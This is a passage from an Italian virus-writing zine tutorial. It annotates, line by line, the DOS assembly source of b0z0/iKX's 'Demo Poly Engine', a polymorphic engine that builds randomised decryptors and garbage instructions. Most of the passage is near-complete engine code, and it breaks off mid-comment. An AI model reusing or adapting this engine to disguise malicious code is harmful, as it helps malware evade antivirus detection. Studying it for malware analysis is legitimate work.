Minima Anonyma Tabularia Ex Reti
nihil vacuum neque sine signo apud MATER
Questa pubblicazione contiene
informazioni e codice sorgente relativi alla sicurezza informatica. Lo scopo di queste informazioni è di aiutare gli
utenti ad accrescere la propria capacità di programmazione. Questo materiale è
a puro scopo didattico e non include codice distruttivo né documenti attinenti
ad alcuna attività illegale. Si declina ogni responsabilità nel caso chiunque
utilizzi le suddette informazioni per creare, compilare e diffondere
intenzionalmente programmi diretti a danneggiare o interrompere un sistema
informatico o telematico, ovvero a provocarne l'interruzione, totale o
parziale, o l'alterazione del suo funzionamento Art. 615-quinquies (Legge n.
547/93 pubblicata in Gazzetta Ufficiale n. 305 del 30.12.1993)
§ MATER Liber Decimus §
1.un esempio di
Motore Polimorfico.
[DPE] - Demo Poly
Engine (basata sulla SPWM)
di b0z0/iKX,
Luglio 1998
La DPE esaminata è un MP abbastanza semplice, di tipo
didattico/dimostrativo.
Come afferma il suo autore, b0z0/iKX, essendo solo una poly di
esempio, manca di moltissime cose che una vera poly dovrebbe avere. Tuttavia la
sua semplicità la rende adatta al nostro scopo. Le RC risultanti risultano
relativamente corte. I registri usati come puntatori sono BX, SI e DI, mentre
come counter e pointer può essere utilizzato qualsiasi registro tranne l'AX (e
SP). La crittazione avviene con un’istruzione SUB/ADD/XOR con chiave fissa o
variabile, modificata ad ogni loop. La modifica della chiave avviene con un
SUB, ADD o XOR con un immediato a 16 bit. La generazione di istruzioni garbage
e'creata usando una tabella di riferimento.
Input:
DS:DI = Puntatore alla zona di memoria dove
mettere il risultato
DS:SI = Puntatore al codice da crittare
BP = Offset al quale questo codice verra'
eseguito
CX = Numero di bytes da crittare
Output:
DS:DX = Pointer al codice generato
CX = Lunghezza del codice (decr + codice
crittato) generato
----------------------------------------------------------------------------------
poly:
push di
; Innanzitutto verranno salvati certi registri che ci serviranno
piu' tardi
; nel corso della scrittura del decryptor. Vengono anche
inizializzate
; alcune variabili nel codice (cambio chiave) e zone di memoria
(lista delle operazioni
; gia' eseguite) che vengono cambiate dalla poly engine ad ogni
esecuzione
mov word ptr
ds:[lenght],cx ; lunghezza
mov word ptr
ds:[given_si],si ; puntatore a cosa
crittare
xor ax,ax ; AX = 0
; AX azzera 2 bytes alla volta
mov word ptr
ds:[change_key],ax ; num.cambi chiave
+ decr.contatore
mov word ptr
ds:[change_key+2],ax ; incr. punatat. + op.mat.crittazione
mov word ptr
ds:[change_key+4],ax ; 2 variabili
dec ax ; 0ffh
mov word ptr
ds:[already_pnt],ax ; registro come
punt. + reg.come contat.
mov byte ptr
ds:[already_pnt+2],al ; registro come chiave (byte)
mov ax,9090h ; 90h = opcode di NOP
mov word ptr
ds:[modify_key],ax ; cambio chiave (2
words)
mov word ptr
ds:[modify_key+2],ax ; vedi sopra
mov word ptr
ds:[pre_chk],ax ; cambio chiave
iniziale (2 words)
mov word ptr ds:[pre_chk+2],ax ; vedi sopra
;----------------------------------------------------------------------------------
; Nel seguente loop do_pnt_cnt verranno create in sequenza
random le sequenze
; di inizializzazione:
; - inizializzazione contatore
; - inizializzazione puntatore codice da decrittare
; - inizializzazione chiave (opzionale)
mov cx,03h ; tre operazioni da creare
do_pnt_cnt:
mov si,offset already_pnt ; pointer, counter, key…
mov bx,si ; attenzione a questa
memorizzazione
call sorta_random ; genera numero random e lo mette in AX
and al,011b ; AND con 3 (11b), il numero varia da 0 a 3
cmp al,011b ; è uguale a tre ?
je do_pnt_cnt ; sì, allora torna su
; a questo punto al può essere 0, 1 o 2. Ricordiamo che SI =
offset di already_pnt, a
; cui seguono already_cnt (+1) e already_key
(+2). Se tali locazioni contengono 0ffh
; non sono ancora state utilizzate per memorizzare i dati.
xor ah,ah ; AX = 0
add si,ax ; in SI = offset
already_pnt + 0 / 1 / 2
cmp byte ptr
ds:[si],0ffh ; abbiamo gia' eseguito
questa
jne do_pnt_cnt ; operazione?
; crea il puntatore alla tabella init_offs che contiene gli
offset alle funzioni di
; inizializzazione. Le funzioni di inizializzazione sono tre, e
vengono chiamate in
; maniera casuale in base al contenuto di AL, che può essere 0,
2, o 4. AL viene
; raddoppiato perché gli offset della tabella init_offs sono
costituiti da words
push si ; preserva SI
shl al,1
; *2 come detto
sopra
add ax,offset init_offs ; in AX offset tabella con offset
funzioni
mov si,ax ; AX = 0/2/4
mov ax,word ptr ds:[si] ; SI = 0/2/4
pop si ;
ripristina SI
call ax ; call all’indirizzo di
init_offs
next_inits:
call
random_garbage ; tra
l'una e l'altra garbage
loop do_pnt_cnt ; lo esegue per tre volte (CX = 3)
;----------------------------------------------------------------------------------
; Adesso la parte di inizializzazione dei registri per il loop
e' pronta
; Quindi da qui in avanti sara' creato il loop di decrittazione
mov word ptr ds:[decr_begin],di ; segnala inizio loop (indir.inizio)
call random_garbage ; scrive qualche istruzione garbage
; Nel seguente loop incdec_pntcnt dobbiamo eseguire le 6
operazioni necessarie
; nel decryption loop e piu' precisamente:
; - Incrementare il
pointer alla prossima word (Incrementiamo di uno 2 volte)
; - Decrementare il
counter di due (Decrementiamo di uno 2 volte)
; - Cambiare la chiave
di crittazione (se la chiave e' usata)
; - Eseguire
l'operazione matematica di decrittazione
; Le operazioni vengono svolte in ordine casuale. L'ordine di
certe operazioni
; (l'incremento del pointer e il cambio della chiave) pero'
influenza certe
; altre (operazione matematica di decrittazione) e percio'
dovremo fare
; attenzione proprio a questo in certi casi.
;
; la routine RC potrebbe essere del tipo, se cx = counter e di =
pointer
;
; loop:
; dec cx
;
inc di
;
xor [di],036h (puo' essere add/sub/xor e anche con key)
; dec cx
;
inc di
;
cmp cx,0 (possono essere vari tipi derivati dalla cntr_checks)
;
je esci_dal_loop
;
jmp loop
;
esci_dal_loop:
;
; quindi due decrementi del counter, due incrementi
del pointer, una operazione
; matematica sulla memoria e in piu' il check di fine
loop. in caso venga usato un
; registro per la chiave di decrittazione allora ci
puo' essere qualche istruzione che
; modifica l'istruzione (generata dalla routine
do_changekey). Come già detto la sequenza
; delle varie operazioni non e'fissa. Inoltre tra
un’istruzione e l’altra (tranne il
; check finale e il salto indietro ad inzio loop) ci
sono istruzioni garbage.
;
;----------------------------------------------------------------------------------
mov cx,06 ; sei operazioni
incdec_pntcnt: ;
mov si,offset change_key
call
sorta_random_07 ; ricava
un num. casuale tra 0 e 7 in AX
and al,11b ; ora il numero è tra 0 e 3
; ricordiamo che:
; change_key =
cambio chiave offset 0
; dec_cnt = decr.
contatore offset change_key + 1
; inc_pnt = incre.
puntatore offset change_key + 2
; math_op = oper.
crittazione offset change_key + 3
add si,ax ;
offset change_key + 0/1/2/3
cmp byte ptr
ds:[si],02 ; gia' fatte due di
queste?
je incdec_pntcnt
inc byte ptr ds:[si]
; crea il puntatore alla tabella loop_offs che contiene gli
offset alle funzioni del
; loop di decrittazione. Le funzioni sono quattro, e come detto
spra vengono chiamate
; in maniera (quasi) casuale in base al contenuto di AL, che può
essere 0, 2, 4, o 6.
; AL viene raddoppiato perché gli offset della tabella sono
costituiti da words
push si ; preserva…
shl al,1 ; moltiplica per due per offset word
add ax,offset loop_offs ; in AX offset tabella con offset
funzioni
mov si,ax ; AX = 0/2/4/6
mov ax,word ptr ds:[si] ; SI = 0/2/4/6
pop si ; e ripsristina
call ax ; call all’indirizzo
loop_offs
next_loop:
call random_garbage ;
loop incdec_pntcnt ;
;----------------------------------------------------------------------------------
; Il contenuto del loop di decrittazione e' stato creato. Adesso
dobbiamo
; ancora fare il check finale se la decrittazione e' finita e in
base al
; risultato uscire dal loop o rientrarci.
; get_cntrchk crea una delle possibili istruzioni che ci
permettono di
; controllare se il contatore e' uguale a zero, quindi se la
decrittazione
; e' finita
get_cntrchk:
call sorta_random_07 ; cinque tipi in tutto
cmp al,04 ; da 0 a 5
ja get_cntrchk
mov si,offset cntr_checks ; sulla tabella delle possibili
add si,ax ; variazioni + offset rnd
mov ah,byte ptr ds:[si]
mov al,083h ; prefisso fisso x quel tipo
; di opcodes
add ah,byte ptr
ds:[already_cnt]
stosw ; aggiungiamo i bit
in base
; al counter e
mettiamo in buffer
;----------------------------------------------------------------------------------
; in definitiva risulta una codifica del tipo:
; CMP reg16,imm8 – opcode 83h/7, imm8
; XOR reg16,imm8 – opcode 83h/6, imm8
; OR
reg16,imm8 – opcode 83h/1, imm8
; SUB reg16,imm8 – opcode 83h/5, imm8
; ADD reg16,imm8 – opcode 83h/0, imm8
; dove il valore di AH è calcolato sulla base dei valori della
tabella:
; cntr_checks db 0c0h,0c8h,0e8h,0f0h,0f8h
;----------------------------------------------------------------------------------
in al,40h
mov cl,al ; possiamo fare il check
xor al,al ; sia considerando lo 0
ror cl,1 ; come byte o come word
jnc with_byte
sub byte ptr ds:[di-2],02h ; se con word allora cambia
; il byte di
prefisso in 81h
stosb
with_byte:
stosb
; Crea il jump zero corto che salta il jump lungo che invece
salta al loop
; del decryptor
mov ax,0374h
stosw
; Crea il jump che salta di nuovo all'inizio del loop di
decryption
mov al,0e9h ; opcode jump long
stosb
mov ax,di
sub ax,word ptr
ds:[decr_begin]
inc ax ; calcola offset all'inizio
inc ax ; del loop di decrittazione
neg ax
stosw
; A questo punto tutto quanto e' pronto. viene aggiunto ancora
un po' di
; istruzioni garbage con tutti i registri per migliorare
l'effetto
xor ax,ax ; pulizia
dec ax
mov word ptr ds:[already_pnt],ax
mov word ptr
ds:[already_pnt+2],ax
call random_garbage
mov bx,0fh
call garbage ; un po' + di garbage x evitare
call random_garbage ; problemi di prefetch
mov ax,di
sub ax,bp
mov si,word ptr
ds:[pointer_ass]
; finiamo l'inizializzazione del pointer al codice crittato
mov word ptr ds:[si],ax
;----------------------------------------------------------------------------------
; Da qui in avanti tutto quello che viene messo su DS:DI sara'
crittato,
; infatti il pointer e' appena stato assegnato sopra
push di
call random_garbage ; Anche un po' di garbage
pop ax
; crittata
mov cx,di ; quanti bytes di garbage ?
sub cx,ax ; crittata
push cx
mov si,word ptr
ds:[counter_ass]
mov dx,word ptr ds:[si] ; aggiorniamo il counter
push dx ; anche con la garbage crittata
add dx,cx
inc dx
and dl,0feh ; teniamo sempre pari dato
mov word ptr ds:[si],dx ; che crittiamo words senza
pop cx ; fare troppi check
; DX ha adesso la lunghezza del decryptor + encrypted garbage +
encrypted body
mov si,word ptr ds:[given_si]
push di
rep movsb ; copiamo quello che si vuole
pop di ; crittare (ricevuto in input
pop ax ; come DS:SI)
sub di,ax
;----------------------------------------------------------------------------------
; E infine ci apprestiamo a crittare il tutto. I primi due test
sono fatti
; per vedere se dobbiamo correggere il puntatore o la chiave in
base alla
; sequenza nella quale sono state generate le istruzioni
nell'encryption
; loop.
; Dopodiche' verra' eseguito il loop di crittazione, dove
ovviamente le
; istruzioni attuali verranno rimpiazzate con quelle scelte e
generate nel
; corso dell'esecuzione del motore polimorfo.
xor ah,ah
mov al,byte ptr ds:[pnt_sba]
add di,ax
mov cx,word ptr
ds:[initial_key]
dec byte ptr ds:[pre_kdn]
jnz encrypt_loop
pre_chk db 90h,90h,90h,90h ; spazio per il cambio chiave
; iniziale
encrypt_loop:
db
31h,0dh ; xor
[di],cx
modify_key:
db 90h,90h,90h,90h ; spazio per il cambio chiave
inc di
dec dx
inc di
dec dx
or dx,dx
jnz encrypt_loop
mov cx,di
pop dx
sub cx,dx ; lunghezza totale
ret ; fine
;----------------------------------------------------------------------------------
; tabella con basi numeriche per codificare le istruzioni per la
crittazione
; (ADD,XOR,SUB) e relativa istruzione per la decrittazione
(SUB,XOR,ADD)
; Questi NON sono gli opcode delle istruzioni ADD/SUB/XOR ma dei
numeri che poi
; serviranno per la codifica delle istruzioni di
crittazione/decrittazione
; e’ una sorta di ottimizzazione.
mathadds db 01h,29h ; ADD SUB
db 31h,31h ; XOR XOR
db 29h,01h ; SUB ADD
;----------------------------------------------------------------------------------
; Possibili modi per controllare che il contatore sia 0
(cmp,xor,or,sub,add)
cntr_checks db
0c0h,0c8h,0e8h,0f0h,0f8h
;----------------------------------------------------------------------------------
; Tabella con gli offset per le tre operazioni di
inizializzazione pre-loop
; in pratica funziona come uno switch. Attenzione: sono words !
init_offs dw offset
do_pointer ; SI = 0
dw offset
do_counter ; SI = 1
dw offset
do_setkey ; SI = 2
;----------------------------------------------------------------------------------
; Tabella con gli offset per le operazioni del loop
loop_offs dw offset
do_changekey ; SI = 0
dw offset dec_cnt
; SI = 1
dw offset inc_pnt
; SI = 2
dw
do_mathop ; SI = 3
poly_marker_ver db
0,'-[DPE]-',0
;----------------------------------------------------------------------------------
; do_pointer crea l'istruzione per l'inizializzazione del
puntatore al
; codice crittato
; ricordiamo che:
; AX CX
DX BX SP BP SI
DI -> registro
; 0 1
2 3 4 5 6
7 -> numero registro
; no no
no si no no si
si -> possibile utilizzo
;
; ricordiamo inoltre che in BX c’è l’offset di already_pnt (a
cui segue counter, key…,
; ognuno di un byte).
; quando il controllo arriva qui SI = 0
do_pointer:
call sorta_random_07 ; in AX casuale da 0 a 7
cmp al,byte ptr ds:[bx+2] ; non lo stesso numero usato x la key
je do_pointer ; se già stata chiamata
cmp al,byte ptr ds:[bx+1] ; non lo stesso numero usato x il cntr
je do_pointer
cmp al,03 ; BX
potrebbe andare bene. Vai
je ok_selected
cmp al,6 ; non SP e BP, ma solo >, cioe'
jb do_pointer ; SI e DI (quindi possibili solo BX,SI,DI)
; a questo punto in [SI] è l’indirizzo di already_pnt+0 e in AL
il numero registro
; con add, 0b8h abbiamo come risultato nel buffer di salvataggio
DS:DI = 06h + 0b8h =
; MOV BX , imm. Ricordiamo che STOSB
o STOSW aggiornano il puntatore a [DI]
ok_selected:
mov byte ptr ds:[si],al ; Salva registro usato +
add al,0b8h ; base di MOV reg16,imm
stosb ; scrive
l’istruzione (AL -> [DI]+1)
; ricordiamo che alla locazione [bx-8] troviamo pointer_ass
; con la seguente istruzione salviamo la posizione
dell’assegnazione del puntatore
; per aggiornarla in seguito
mov word ptr ds:[bx-8],di ; salvataggio
stosw ; scrive AX (AX
-> [DI]+2)
ret
;----------------------------------------------------------------------------------
; do_counter crea l'inizializzazione del registro che fungera'
da counter
; quando il controllo arriva qui SI = 1
do_counter:
call sorta_random_07
cmp al,04h ; no SP (registro n.4)
je do_counter
or al,al ; Non usare AX (registro n.0)
jz do_counter
cmp al,byte ptr ds:[bx] ; Non usare lo stesso del pntr
(BX=already_pnt)
je do_counter
cmp al,byte ptr ds:[bx+2] ; Non usare lo stesso della key
je do_counter
; a questo punto in [SI] è l’indirizzo di already_pnt+1 e in AL
il numero registro
; con add, 0b8h abbiamo come risultato nel buffer di salvataggio
DS:DI = 06h + 0b8h =
; MOV BX , imm. Ricordiamo che STOSB
o STOSW aggiornano il puntatore a [DI]
mov byte ptr ds:[si],al ; Salva registro usato +
add al,0b8h ; base di un MOV reg16,imm
stosb ; scrive Al ->
DS:[DI]+1
not_zeromore:
; Critteremo un po' di piu' del dovuto per dare maggior
variazione ai risultati
call sorta_random_07 ; AX da 0 a 7
or al,al ; elimina lo zero
jz not_zeromore ;
add ax,word ptr ds:[bx-0ah] ;
in AX offset length
mov word ptr
ds:[bx-2],di ; salva posizione di
assegn. (decr_begin)
stosw ; salva lunghezza
in [DI]+2
mov word ptr ds:[bx-0ah],ax
ret
;----------------------------------------------------------------------------------
; do_setkey crea l'inizializzazione del valore della chiave per
la
; decrittazione
; 50% delle probabilita' che si usi la chiave, 50% che sia fatto
con chiave fissa
; quando il controllo arriva qui SI = 2
do_setkey:
call sorta_random ; AX 0 - 7
ror al,1 ; divide AL/2
jc do_with_key ; chiave variabile. Init
mov byte ptr ds:[si],0b0h ; marker chiave fissa
ret ; quindi niente
init chiave
do_with_key:
call
sorta_random_07 ; Scegli
registro come al
cmp al,04 ; solito (vedi sopra)
je do_setkey
or al,al
jz do_with_key
cmp al,byte ptr ds:[bx]
je do_setkey
cmp al,byte ptr ds:[bx+1]
je do_setkey
mov byte ptr
ds:[bx+2],al
add al,0b8h
stosb
call sorta_random
stosw
mov word ptr
ds:[bx-6],ax ; salva AX in initial_key
ret
;----------------------------------------------------------------------------------
; do_mathop crea l'istruzione matematica per la decrittazione e
prepara la
; relativa istruzione per la crittazione nell'encryption loop
; quando il controllo arriva qui SI = 3
;
; la routine costruisce un'istruzione del tipo:
;
crittazione
decrittazione
; ADD [reg], imm16 SUB [reg], imm16 oppure
;
XOR [reg], imm16 XOR
[reg], imm16 oppure
;
SUB [reg], imm16 ADD
[reg], imm16 oppure
; con imm16 = chiave (numero casuale) e memorizza i vari bytes
; con :
;
; 1° stosb -> inserisce in buffer byte opcode di ADD/SUB/XOR
; 2° stosb -> inserisce in buffer byte ModR/M con registro
; 3° stosw -> inserisce in buffer 2 bytes chiave di
decrittazione.
;----------------------------------------------------------------------------------
do_mathop:
push cx
inc
byte ptr ds:[si]
resel_mate:
call sorta_random_07
cmp al,02
ja resel_mate
; per forzare l'uso di CS: (quindi decrittare con il pointer in
base al
; segmento CS e non DS) basta aggiungere:
; mov al,02eh ; prefisso CS:
; stosb ; mettilo al suo
posto
shl ax,1 ; AX = 0/2/4
mov bx,offset mathadds ; tabella con numeri per crittazione
add bx,ax ; BX =
[mathadds]+0->ADD, +2->XOR, +4->SUB
; nell’istruzione seguente in DX operazione di crittazione e
relativa inversa:
; DX = ADD SUB / XOR XOR / SUB ADD (2
bytes a coppia)
;
01h 29h 31h 31h 29h 01h
mov dx,word ptr ds:[bx] ; ora in DX crittazione e inversa
cmp byte ptr
ds:[already_key],0b0h ; marker di
chiave fissa
jne so_use_key ; no chiave fissa ?
; poniamo che ci sia la chiave fissa. Lo stosb che segue scrive
nel buffer
; l'opcode 81h, che è l'opcode comune per ADD, XOR o SUB.
mov al,081h ; crea decrittazione con chiave fissa
stosb ; in [DI] opcode di
ADD/XOR/SUB (byte)
; in DX opcode di ADD SUB / XOR XOR / SUB ADD (2 bytes)
; 01h
29h 31h 31h 29h 01h
; ora aggiunge 3 all’opcode ADD/SUB/XOR + 3.
add dx,0003h ; questo 3 è necessario per la codifica
mov al,dl
jmp register_corr
; con chiave fissa questo blocco viene saltato
so_use_key:
mov al,dl
stosb
mov al,byte ptr
ds:[already_key]
dec al ; registro di destinazione
mov cl,3 ;
moltiplica per 8
shl al,cl
add al,0ch ; aggiungi base per si,cx
; è ora di scegliere ilregistro !
register_corr:
mov ah,byte ptr
ds:[already_pnt]
cmp ah,06 ; usato SI. AL = 100
jz store_it
inc al ;
cmp ah,07h ; usato DI. AL = 101
je store_it
inc al ;
inc al ; usato BX. AL = 111
store_it:
stosb ; memorizza il
registro
cmp byte ptr
ds:[already_key],0b0h
jne so_nothingelse
call sorta_random ; se a chiave fissa metti
; e con questo stosw inserisce nel buffer la chiave di
decrittazione, o quella iniziale
; in caso la chiave non sia fissa.
stosw ; anche la chiave
fissa
mov word ptr
ds:[initial_key],ax
so_nothingelse:
mov byte ptr
ds:[encrypt_loop],dh
pop cx
ret
;----------------------------------------------------------------------------------
; ricapitoliamo:
; il valore di AX può variare tra 0/2/4. Ci sono quindi tre casi
a seconda del valore
; di AX. Poniamo che il valore iniziale di AX sia 0. le
istruzioni
; mov bx, offset mathadds
; add bx,ax
; mov dx, word ptr ds:[bx]
; fanno sì che il contenuto di dx sia dh=29h, dl=01h (ricordiamo
che l’Intel memorizza
; i dati al contrario). L’istruzione successiva
; mov al,081h fa sì che il contenuto di AX sia:
ah=num.casuale,al=081h. lo stosb
; successivo inserisce il valore di AL (opcode di add/xor/sub)
nel buffer. L’istruzione
; add dx,0003h fa sì che il contenuto di dx sia: dh=29h, dl=04h
(01h+3h).
; Presupponendo che si stia utilizzando una chiave fissa, lo
stosb successivo inserisce
; AL nel buffer.
; quindi nel buffer finora abbiamo, con i due stosb:
;
;
1 byte 2 byte
; 10000001 00000100
;
opcode byte modR/M
; ADD/XOR/SUB
;
; e buona parte della codifica è fatta. Ora manca la codifica
del registro, che qui
; risulta = 100. A questo ci pensa la routine register_corr.
:
; questo se AX = 0. Con le tre situazioni (AX=0,AX=2,AX=4)
risultano le seguenti
; codifiche:
; --opcode-- R/M-Mod-reg
; s w
; AX = 0 > 100000 0 1
00000 100 quindi 81h /0 imm16, cioè ADD [reg], imm16
; AX = 2 > 100000 0 1
00110 100 quindi 81h /6 imm16, cioè XOR [reg], imm16
; AX = 4 > 100000 0 1
00101 100 quindi 81h /5 imm16, cioè SUB [reg], imm16
;
; il bit w = 1 perché word
; il bit s = 0 perché unsigned (primo byte)
; notiano che il valore R/M è uguale a 00. Quindi non è usato
displacement, ma
; semplicemente [reg]. Il 100 finale del byte ModR/M contiene il
registro, secondo lo
; schema già visto:
; valore R/M -
00 Mod:
; 000 - [BX+SI]
; 001 - [BX+DI]
; 010 - [BP+SI]
; 011 - [BP+DI]
; 100 - [SI] * registro buono
; 101 - [DI]
* registro buono
; 110 - d16
; 111 - [BX] * registro buono
;
; con “registro
buono” abbiamo indicato i registri che possiamo utilizzare.
;
; a quel 100 la routine register_corr, verificando il contenuto
di
; byte ptr ds:[already_pnt], aggiungerà 0 ad AL se il contenuto
è = 6, quindi
; l’istruzione risultante sarà: add [SI], imm16 / xor [SI],
imm16 / sub [SI], reg16
; oppure aggiungerà 1 ad AL (AL = 101) con il successivo INC, e
l’istruzione
; risultante sarà: add
[DI], imm16 / xor [SI], imm16 / sub [SI], reg16
; oppure aggiungerà 3 ad AL (AL = 111) con i successivi 2 INC, e
l’istruzione
; risultante sarà: add
[BX], imm16 / xor [BX], imm16 / sub [BX], reg16
;
; Ora manca il contenuto di imm16. Questo viene ricavato, nel
caso della chiave fissa,
; con le due istruzioni:
; call
sorta_random ; pesca un
numero casuale
; stosw ; memorizza nel buffer.
;
; In conclusione, nel buffer alla fine della routine c’è una
delle seguenti istruzioni
; codificate (abbiamo preso come numero casuale 44177):
;
; se AL = 100
; se AX=0 10000001
00000100 10101100 10010001 cioè ADD
[SI], 44177
; se AX=2 10000001
00110100 10101100 10010001 cioè XOR
[SI], 44177
; se AX=4 10000001 00101100 10101100 10010001 cioè SUB [SI], 44177
; se AL = 101
; se AX=0 10000001
00000101 10101100 10010001 cioè ADD
[DI], 44177
; se AX=2 10000001
00110101 10101100 10010001 cioè XOR
[DI], 44177
; se AX=4 10000001
00101101 10101100 10010001 cioè SUB
[DI], 44177
; se AL = 111
; se AX=0 10000001
00000111 10101100 10010001 cioè ADD
[BX], 44177
; se AX=2 10000001
00110111 10101100 10010001 cioè XOR
[BX], 44177
; se AX=4 10000001
00101111 10101100 10010001 cioè SUB
[BX], 44177
;----------------------------------------------------------------------------------
; do_changekey scrive l'operazione di cambio della chiave.
Questa e' un
; ADD/SUB/XOR della chiave con un immediato di 16bit.
; Se prima non e' stato scelto l'utilizzo di una chiave questa
procedura
; esce senza fare nulla.
do_changekey:
inc byte ptr ds:[si] ; SI = 0
cmp byte ptr
ds:[already_key],0b0h ; c’è chiave
fissa ? se sì, esci
jne get_keyop
ret
;----------------------------------------------------------------------------------
get_keyop:
call
sorta_random_07
cmp al,02
ja get_keyop ; in AL casuale tra 0 e 2
mov dh,0c1h ; add
or al,al
jz ok_operoc
add dh,28h ; sub
cmp al,1
je ok_operoc
add dh,8 ; xor
ok_operoc:
cmp byte
ptr ds:[math_opdone],00h
jne
no_prez
inc byte ptr ds:[pre_kdn]
no_prez:
mov al,81h
mov ah,dh
mov word
ptr ds:[modify_key],ax
dec ah
add
ah,byte ptr ds:[already_key]
stosw
and
ah,011111000b ;
Nell'encryptor e'
or
ah,000000001b ;
tutto con CX
mov word ptr ds:[pre_chk],ax
call
sorta_random
stosw
mov word
ptr ds:[modify_key+2],ax
mov word
ptr ds:[pre_chk+2],ax
no_changekey:
ret
;----------------------------------------------------------------------------------
; inc_pnt crea l'istruzione per incrementare di uno il pointer
(INC reg16)
; dec_cnt crea l'istruzione per decrementare di uno il counter
(DEC reg16)
inc_pnt:
mov al,byte ptr
ds:[already_pnt]
add al,40h ; INC = opcode 40h +
reg. 16 bit
cmp byte ptr
ds:[math_opdone],00h
jne no_prob
inc byte ptr ds:[pnt_sba]
no_prob:
jmp common_exit
dec_cnt:
mov al,byte ptr ds:[already_cnt]
add al,48h ; DEC = opcode 48h + reg.16 bit
common_exit:
stosb
; salva in buffer
ret
;----------------------------------------------------------------------------------
; routine di generazione numeri casuali
sorta_random:
in al,40h ; num.casuale in AL
mov ah,al ; sposta in AH
in al,40h ; num.casuale in AL
xor al,ah ; filtro
ret
;----------------------------------------------------------------------------------
; routine di generazione numeri casuali tra 0 e 7. Spesso si usa
per i registri
sorta_random_07:
call sorta_random ; numero casuale in AX
and
ax,0111b ; AND con
7, casuale da 0 a 7
ret
;----------------------------------------------------------------------------------
; random_garbage crea un numero random da 1 a 8 di istruzioni
garbage
random_garbage:
call
sorta_random_07 ; casuale
tra 0 e 7
mov bx,ax
inc bx ; in BX casuale tra 1 e 8
; garbage crea BX istruzioni fasulle
garbage:
push si
mov si,offset already_pnt
select_garb_reg:
call
sorta_random_07 ; scelta
registro
; nelle istruzioni che seguono viene esaminato il registro
pescato casualmente con
; la call soprastante; devono essere scartati tutti i registri
già utilizzati e me-
; morizzati in already_pnt -> [SI],
already_cnt -> [SI+1], already _key -> [SI+2]
cmp al,byte ptr
ds:[si]
je select_garb_reg
cmp al,byte ptr
ds:[si+1]
je select_garb_reg
cmp al,byte ptr
ds:[si+2]
je select_garb_reg
cmp al,4 ; SP = 4
je select_garb_reg ; SP non si puo’ usare
mov dl,al ; DL contiene il registro buono
get_type:
call sorta_random ; scegli tipo di
garbage
and ax,01fh ; AX tra 0 e 31
cmp al,31d ; operazioni senza registri da 1 byte
je just_onebyters ; o chiamate a interrupt (1 su 31)
; a questo punto AX è tra 0 e 30
push ax
mov si,offset base_prefix ; vedi se istruzione e' formata da
add si,ax ; 2 bytes, se prefisso=0 allora 1 byte
mov al,byte ptr ds:[si]
or al,al
; è zero ?
jz no_prefix ; si, niente prefisso
stosb ; se cosi' metti
byte di
no_prefix: ; prefisso nel buffer
pop ax
push ax
mov si,offset
base_ocs ; metti byte principale
del registro
add si,ax ;
mov al,byte ptr ds:[si]
add al,dl ; con il registro scelto (DL)
stosb ; scrive base_ocs in buffer
pop ax
mov dl,al
cmp dl,13d ; le operazioni >= a 13 nella
jb garbage_loop ; tabella hanno un operando
; immediato tipo byte
call sorta_random ; un operando immediato a caso
stosb ; e lo scrive nel
buffer
cmp dl,21d ; quelle oltre 21 invece ne
jb garbage_loop ; hanno ben due
call sorta_random ; prende un operando immediato
stosb ; e lo mette nel
buffer
jmp garbage_loop ; Ok ricomincia
;----------------------------------------------------------------------------------
; just_ints crea possibili chiamate ad interrupts. le prime
quattro sono da
; interpretarsi come funzioni (quindi byte da mettere in AH)
all'int 21h,
; mentre le ultime due sono l'int 11h (get enviroment) e int 12h
(get avaiable
; memory in kbs).
; inters db 019h,054h,00bh,018h,011h,012h
just_ints:
call sorta_random_07
cmp al,05 ; 5 chiamate generabili (AL
tra 0 e 4)
ja just_ints
mov si,offset inters ; offset tabella chiamate int.
add si,ax ; casualizza
cmp al,04 ; le prime 4 sono INT21
mov ah,byte ptr ds:[si] ; prendi nella tabellina
jae not_21call ; le ultime due non sono fatte all’INT21
mov al,0b4h ; opcode di di INT21
stosw ; mette
opcode+funzione in buffer
mov ah,21h
not_21call:
mov al,0cdh ; opcode chiamata INT
stosw ; mette
opcode+funzione in buffer
jmp garbage_loop
;----------------------------------------------------------------------------------
; just_onebyters crea possibili istruzioni da un byte
just_onebyters:
call sorta_random ;
and ax,0fh ; AX tra 0 e 15
cmp al,6 ; mettiamo un int call
ja just_ints ; passa se AL = 0,1,2,3,4,5,6
mov si,offset
obyters ; carica offset tabella di
istruzioni
add si,ax ; prendi opcode scelto (da 0 a 6)
mov al,byte ptr ds:[si] ; AL punta all’inizio tabella+ casuale
tra 0 e 6
stosb ; lo scrive nel
buffer
cmp al,0ebh ; 0eh=opcode di JMP. Abbiamo bisogno
jne garbage_loop ; di un offset random
call sorta_random
and ax,0fh ; in AX
casuale tra 0 e 15
inc al ; ora tra 1 e 16
stosb ; scrive offset del
JMP che coincide
; con CX (bytes saltati)
push cx ; preserva CX
mov cx,ax ; in CX casuale tra 1 e 16
krap_bytes:
call sorta_random ; prende bytes a casaccio
stosb ; e li scrive.
Questi verranno saltati
loop
krap_bytes ; max. 16
volte perché il JMP è short
pop cx ; ripristina CX
garbage_loop:
pop si
dec bx ; decrementa contatore num. di istruzioni
garbage
jz exit_garbage ; loop principale del garbage
jmp garbage
exit_garbage:
ret
;----------------------------------------------------------------------------------
; possibili istruzioni da un byte generabili
obyters db
90h,0ebh,0f8h,0f9h,0fch,0fdh,0ebh
; nop, jmp short, clc, stc, cld, std, jmp short (di nuovo :P e
il + usato)
;----------------------------------------------------------------------------------
; la generazione di garbage avviene con due tabelle.
un'istruzione verra'
; presa dalla prima (base_ocs + n, dove n e' il numero casuale)
e poi dalla
; seconda verra' preso il rispettivo prefisso (base_prefix + n).
se questo
; e' zero allora vuol dire che e' un'istruzione da un byte (vedi
ad esempio
; inc e dec), mentre per le altre il prefisso verra'
direttamente copiato in
; mem. a quella base ovviamente verra' aggiunto la mask per il
dato registro
; scelto
base_ocs db
040h,048h,0f8h,0c0h,0c8h,0d0h,0d8h,0d0h,0d8h,0c0h,0c8h
db
0e0h,0e8h,0c0h,0e8h,0f0h,0d0h,0d8h,0c8h,0e0h,0f8h,0b8h
db
0e8h,0c0h,0f0h,0c8h,0e0h,0f8h,0d0h,0d8h,0c0h
base_prefix db
000h,000h,0d1h,0d3h,0d3h,0d1h,0d1h,0f7h,0f7h,0d1h,0d1h
db 0d1h,0d1h,083h,083h,083h,083h,083h,083h,083h,083h,000h
db
081h,081h,081h,081h,081h,081h,081h,081h,0f7h
;----------------------------------------------------------------------------------
; possibili chiamate ad interrupts generabili. le prime quattro
